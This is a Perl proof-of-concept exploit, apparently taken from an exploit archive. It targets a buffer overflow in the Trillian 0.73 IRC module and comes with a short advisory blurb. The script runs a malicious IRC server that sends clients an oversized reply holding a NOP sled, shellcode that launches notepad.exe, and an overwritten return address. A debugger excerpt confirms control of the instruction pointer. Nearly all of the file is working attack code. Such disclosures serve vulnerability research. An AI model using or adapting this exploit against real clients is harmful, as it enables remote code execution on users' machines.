58 lines
No EOL
1.9 KiB
Perl
Executable file
58 lines
No EOL
1.9 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/5373/info
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A buffer overflow condition has been reported in the Trillian IRC module. The condition is due to insecure handling of data extracted from server responses. An attacker in control of a malicious server may exploit vulnerable clients who have connected.
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#!/usr/local/bin/perl
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#---------------------sicillian.pl------------------------
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#- Proof of concept exploit for trillians irc module.
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#- Tested on trillian 0.73 but i suspect all version
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#- prior maybe exploited as well.
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#-
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#- John C. Hennessy (Information security analyst)
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#------------------------------------------------------
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use Socket;
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$|=1;
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#egg written by UNYUN (http://www.shadowpenguin.org/)
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$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
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$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
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$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
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$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
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$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
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$egg .= "notepad.exe";
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$buf = "\x90" x 174;
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$buf .= $egg;
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$buf .= "\x41\x41\x41\x41";
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my $host = inet_aton("127.0.0.1");
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my $proto = getprotobyname("tcp");
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my $port = 6667;
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my $add_port = sockaddr_in($port,$host);
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my $ser_sock = socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "Cannot open
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Socket: $!";
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bind(SOCKET,$add_port) or die "\nCould\'t bind to port $port : $!\n ";
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my $connection = listen(SOCKET,5) or die "Could't listen on $port: $! \n";
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while(accept(CLIENT,SOCKET)){
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print CLIENT "PING :1986115026\r\n001 :irc.random.org trillian :$buf\r\n";
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}
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close(SOCKET);
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##########Snippet from debugger##########
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# Access violation - code c0000005 (first chance)
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# eax=00000000 ebx=022738c8 ecx=100446d0 edx=00000901 esi=02274e60
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edi=022738c8
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# eip=41414141 esp=0012ca58 ebp=01283718 iopl=0 nv up ei pl nz na po
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nc
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# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
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# 41414141 ?? ???
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##################################### |